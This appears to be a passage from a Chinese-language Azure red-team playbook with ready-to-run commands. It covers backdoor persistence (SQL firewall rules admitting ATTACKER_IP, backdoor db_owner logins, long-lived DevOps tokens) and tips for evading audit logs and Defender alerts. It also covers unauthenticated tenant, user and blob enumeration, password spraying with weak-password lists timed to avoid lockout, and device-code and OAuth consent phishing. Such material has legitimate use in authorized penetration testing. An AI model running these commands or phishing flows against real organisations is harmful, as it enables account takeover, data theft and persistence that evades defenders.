后门现有 Workflow 或创建新 Workflow,利用 MI 执行 Azure API 操作,保存 SAS URL 用于外部触发。也可创建授权策略允许外部 Tenant 触发 Workflow。
SQL Database 持久化
# 创建后门防火墙规则
az sql server firewall-rule create --server SERVER --resource-group RG \
--name "AllowMyIP" --start-ip-address ATTACKER_IP --end-ip-address ATTACKER_IP
# 启用 SQL 认证并创建后门用户
az sql server update --name SERVER --resource-group RG --admin-login sa --admin-password 'NewP@ss!'
# sqlcmd: CREATE LOGIN backdoor WITH PASSWORD='P@ss!'; ALTER ROLE db_owner ADD MEMBER backdoor;Azure DevOps 持久化
# 创建长期 PAT(最长 1 年)
curl -su ":EXISTING_PAT" -X POST \
"https://vssps.dev.azure.com/ORG/_apis/tokens/pats?api-version=7.1-preview.1" \
-H "Content-Type: application/json" \
-d '{"displayName":"Build Agent Token","scope":"app_token","validTo":"2027-12-31T00:00:00Z","allOrgs":false}'其他持久化方式:修改 Pipeline YAML 或 Variable Group 注入后门代码,窃取 Service Connection 凭据。
检测规避要点
| 操作 | 审计日志来源 | 规避建议 |
|---|---|---|
| Entra ID 变更 | Entra Audit Log | 使用已有 SP 而非新建用户,操作混入正常运维窗口 |
| 角色分配 | Activity Log | 在已有的角色分配上扩展而非新建 |
| Key Vault 访问 | Key Vault Diagnostic Log | 利用已有的 Access Policy 而非修改策略 |
| VM 命令执行 | Activity Log + Guest OS Log | 使用 Run Command 而非 Extension(日志粒度较低) |
| Storage 访问 | Storage Analytics Log | 使用 SAS Token 而非 Account Key(SAS 访问默认不记录) |
| Automation 执行 | Activity Log + Job Log | 修改现有 Runbook 而非创建新的 |
Defender for Cloud 绕过要点:
- 避免创建新的高权限角色分配(触发 "Suspicious assignment of role" 告警)
- 避免从已知恶意 IP 登录
- 避免大规模数据导出(触发数据泄露检测)
- 使用现有的合法 Service Principal 而非创建新身份
Azure 未授权枚举技术清单
本文档覆盖 Azure 环境下无需任何凭据即可执行的枚举与初始访问技术。Azure 的公开 API 端点、子域名命名规范以及部分服务的默认配置,为攻击者提供了丰富的信息收集面。
Tenant 发现与验证
Tenant ID 获取
Tenant ID(GUID 格式)是 Azure 攻击的基础信息,可通过公开 API 获取:
# 方法一:OpenID Connect 配置端点(最可靠)
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.token_endpoint'
# 返回中包含 Tenant ID:https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token
# 方法二:GetUserRealm 端点(判断是否使用 Entra ID)
curl -s "https://login.microsoftonline.com/GetUserRealm.srf?login=user@target.com"
# NameSpaceType=Managed → 使用 Entra ID 托管认证
# NameSpaceType=Federated → 使用联合认证(ADFS 等),返回 AuthURL
# 方法三:AADInternals 一键枚举
Install-Module AADInternals
Get-AADIntTenantID -Domain target.comTenant 全貌侦察
# AADInternals 综合侦察(推荐,单命令获取所有公开信息)
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table
# 输出示例:
# Tenant brand: Target Corp
# Tenant name: targetcorp
# Tenant id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
# DesktopSSO enabled: True
#
# Name DNS MX SPF Type STS
# ---- --- -- --- ---- ---
# target.com True True True Federated sts.target.com
# targetcorp.onmicrosoft.com True True True Managed
# targetcorp.mail.onmicrosoft.com True True True Managed关键信息提取:
- DesktopSSO 启用:可用于用户枚举(Seamless SSO)
- Federated 域:暴露了 ADFS 服务器地址(STS 列),可作为后续攻击目标
- 多个域名:获取目标组织拥有的所有域名
枚举 Tenant 下所有域名
# AADInternals
Get-AADIntTenantDomains -Domain target.com
# 利用 autodiscover-s.outlook.com API 自动发现所有验证域名用户枚举(未授权)
在不登录的前提下,可以验证用户是否存在于目标 Tenant 中。
AADInternals 枚举方法
# 单用户验证
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@target.com"
# 返回: UserName=admin@target.com, Exists=True
# 批量枚举(从文件)
Get-Content users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
# 支持 4 种枚举方法:
# Normal — 通用,利用公开 API(推荐)
# Login — 通过登录尝试,但会在 Sign-in Log 中留下失败登录记录
# Autologon — 需要 DesktopSSO 启用
# RST2 — 备选方法o365spray 枚举
git clone https://github.com/0xZDH/o365spray && cd o365spray
pip3 install -r requirements.txt
# 单用户验证
python3 o365spray.py --enum -d target.onmicrosoft.com -u admin
# 批量枚举
python3 o365spray.py --enum -d target.onmicrosoft.com -U users.txtTeams 用户枚举
Microsoft Teams API 可枚举用户存在性、在线状态和 Out-of-Office 消息(需要一个 Teams 账号):
git clone https://github.com/lucidra-security/TeamsEnum && cd TeamsEnum
pip3 install -r requirements.txt
# 枚举用户(-a password 交互输入密码)
python3 TeamsEnum.py -a password -u attacker@attacker.com -f targets.txt -o results.json
# 输出示例:
# [-] user1@target.com - Target user not found
# [+] user2@target.com - User2 | Target Corp (Away, Mobile)
# [+] user3@target.com - User3 | Target Corp (Available, Desktop)Teams 枚举的额外价值:
- 获取用户显示名称和所属组织
- 获取在线状态(Available/Away/DND/Busy/Offline)
- 获取 Out-of-Office 消息(可能泄露组织结构、旅行计划等)
来宾用户格式
来宾用户名遵循固定格式,可用于枚举外部合作方:
# 格式:原始邮箱的 @ 替换为 _,加 #EXT# 后缀
external.user_gmail.com#EXT#@targetcorp.onmicrosoft.com
partner_company.com#EXT#@targetcorp.onmicrosoft.com子域名枚举
Azure 服务使用可预测的子域名格式,是最有效的服务发现方法。
Azure 域后缀清单
| 服务类型 | 域后缀 | 示例 |
|---|---|---|
| App Service | azurewebsites.net | targetcorp.azurewebsites.net |
| App Service (SCM) | scm.azurewebsites.net | targetcorp.scm.azurewebsites.net |
| Blob Storage | blob.core.windows.net | targetcorp.blob.core.windows.net |
| File Storage | file.core.windows.net | targetcorp.file.core.windows.net |
| Queue Storage | queue.core.windows.net | targetcorp.queue.core.windows.net |
| Table Storage | table.core.windows.net | targetcorp.table.core.windows.net |
| Key Vault | vault.azure.net | targetcorp.vault.azure.net |
| SQL Database | database.windows.net | targetcorp.database.windows.net |
| Cosmos DB | documents.azure.com | targetcorp.documents.azure.com |
| Redis Cache | redis.cache.windows.net | targetcorp.redis.cache.windows.net |
| CDN | azureedge.net | targetcorp.azureedge.net |
| API Management | azure-api.net | targetcorp.azure-api.net |
| Search | search.windows.net | targetcorp.search.windows.net |
| Container Registry | azurecr.io | targetcorp.azurecr.io |
| Azure Front Door | azurefd.net | targetcorp.azurefd.net |
| SignalR | service.signalr.net | targetcorp.service.signalr.net |
| Traffic Manager | trafficmanager.net | targetcorp.trafficmanager.net |
自动化子域枚举
# MicroBurst 综合枚举(推荐,覆盖 20+ 域后缀,自动生成排列组合)
Import-Module MicroBurst
Invoke-EnumerateAzureSubDomains -Base targetcorp -Verbose# 手动 DNS 验证(适合快速检查单个服务)
for suffix in blob.core.windows.net azurewebsites.net vault.azure.net database.windows.net; do
host "targetcorp.$suffix" 2>/dev/null | grep -q "has address" && echo "[+] targetcorp.$suffix"
done基于 OSINT 的 桶子资产发现
Azure Storage Account 名称全局唯一,实际命名未必与公司名、主域名或品牌直接对应。在有些时候,目标公司的 Blob Storage 账号名可能来自历史项目、子品牌、外包团队或遗留命名。
因此,除基于目标名的字典猜测外,还应结合google dork,比如下面,更多google dork一键生成可参考 https://taksec.github.io/google-dorks-bug-bounty/
site:blob.core.windows.net "example.com"
site:blob.core.windows.net "Target Corp"公开 Blob Storage 枚举
容器发现与列举
# MicroBurst Blob 枚举(使用排列组合字典)
Import-Module MicroBurst
Invoke-EnumerateAzureBlobs -Base targetcorp
# 自动尝试常见容器名:backup, data, files, logs, images, public, private, dev, staging,attachment,或通过Burp pro里面的intruder fuzz模块猜测# 手动检查容器是否可匿名列出
curl -s "https://targetcorp.blob.core.windows.net/backup?restype=container&comp=list"
# 如果返回 XML 列表 → 匿名可读
# 检查特定 Blob 是否可读
curl -s "https://targetcorp.blob.core.windows.net/backup/database.sql" -o /dev/null -w "%{http_code}"
# 200 → 可下载匿名访问验证机制
Azure Blob Storage 的匿名访问验证方式与 AWS S3 不同。仅访问账号级 endpoint(如 https://<account>.blob.core.windows.net/)通常无法直接确认是否存在未授权访问。
匿名访问常见为两种情况:
- Blob 级匿名读取:若容器允许
Blob级公开访问,则在已知完整 Blob 路径时,可直接访问具体对象:
https://<account>.blob.core.windows.net/<container>/<blob>
- Container 级匿名列举:若容器允许
Container级公开访问,则在已知或猜中容器名后,可请求:
https://<account>.blob.core.windows.net/<container>?restype=container&comp=list
注意:
- 是否允许匿名访问,同时受存储账号配置与容器 public access level 影响
Blob级公开访问允许读取已知对象,但不能匿名列举容器内容Container级公开访问允许列举和读取- 因此,容器名猜测是验证 Azure Blob 匿名访问的关键步骤之一
SAS Token 利用
共享访问签名(SAS)URL 一旦泄露,可直接访问 Storage 资源:
# SAS URL 格式示例
https://account.blob.core.windows.net/container?sp=r&st=2024-01-01&se=2025-01-01&sv=2022-11-02&sr=c&sig=SIGNATURE...
# 参数说明:
# sp=r (权限: r=读, w=写, d=删除, l=列出)
# se=... (过期时间)
# sr=c (范围: c=容器, b=blob)搜索 SAS Token 泄露的常见位置:GitHub、前端 JavaScript、配置文件、错误页面。
OpenID Connect 元数据端点
Azure 暴露多个 OIDC 元数据端点,可获取 Tenant 配置信息:
# 标准 OIDC 配置
curl -s "https://login.microsoftonline.com/{tenant}/.well-known/openid-configuration" | jq .
# OAuth2 授权端点(v1)
curl -s "https://login.microsoftonline.com/{tenant}/.well-known/openid-configuration?appid={app-id}"
# Federation 元数据(SAML/WS-Fed)
curl -s "https://login.microsoftonline.com/{tenant}/FederationMetadata/2007-06/FederationMetadata.xml"
# 这些端点暴露:签名密钥、授权端点、Token 端点、支持的授权流等Azure DevOps 公开项目
# 检查组织是否存在
curl -s -o /dev/null -w "%{http_code}" "https://dev.azure.com/targetcorp"
# 列出公开项目(无需认证)
curl -s "https://dev.azure.com/targetcorp/_apis/projects?api-version=7.0" | jq '.value[].name'
# 访问公开仓库代码
curl -s "https://dev.azure.com/targetcorp/ProjectName/_apis/git/repositories?api-version=7.0" | jq '.value[].name'密码喷洒
在获取有效用户列表后,可尝试密码喷洒获取初始访问:
# o365spray 密码喷洒
python3 o365spray.py --spray -d target.onmicrosoft.com -U valid_users.txt -P passwords.txt --rate 1
# 常见弱密码:
# Season+Year (Spring2024!, Summer2024!)
# Company+123 (Target123!, Targetcorp1!)
# Welcome1!, Password1!, P@ssw0rd!
# 注意事项:
# - 默认锁定策略:10 次失败 / 分钟 → 锁定 60 秒
# - Smart Lockout 会学习用户的正常 IP,异常 IP 更容易触发锁定
# - 每轮间隔建议 > 60 分钟
# - 所有登录尝试都会记录在 Entra ID Sign-in Log 中初始入口钓鱼技术
Device Code 钓鱼
Device Code 认证流适合钓鱼,用户只需在浏览器中输入 Code 即可授权外加域名本身来自微软本身更加容易获得用户的信任:
# 1. 发起 Device Code 认证流
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default offline_access"
# 返回 user_code 和 device_code
# 2. 将 user_code 发送给目标用户(钓鱼邮件/消息),诱导访问 https://microsoft.com/devicelogin
# 3. 轮询等待用户授权
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=DEVICE_CODE"
# 用户授权后返回 access_token + refresh_token
# 4. 工具设备码钓鱼
可以考虑引入工具比如TokenTactic,graphRunner,使用下面命令后会出现authorization_pending,自动化查询不用手动轮询,如果模拟成功输入完凭证信息后会自动写入变量$token里面用就行了,其它工具Tokentactic也是类似的
Import-Module C:\AzAD\Tools\GraphRunner-main\GraphRunner.ps1
Get-GraphTokens
OAuth 应用钓鱼
创建恶意 OAuth 应用,诱导管理员同意高权限(Consent Phishing):
攻击流程:
├─ 1. 在攻击者 Tenant 创建多租户应用
├─ 2. 请求高权限 scope(Mail.ReadWrite, Files.ReadWrite.All 等)
├─ 3. 构造授权 URL 发送给目标管理员
│ https://login.microsoftonline.com/common/adminconsent?client_id=...&redirect_uri=...
└─ 4. 管理员同意后,攻击者获取目标 Tenant 的数据访问权限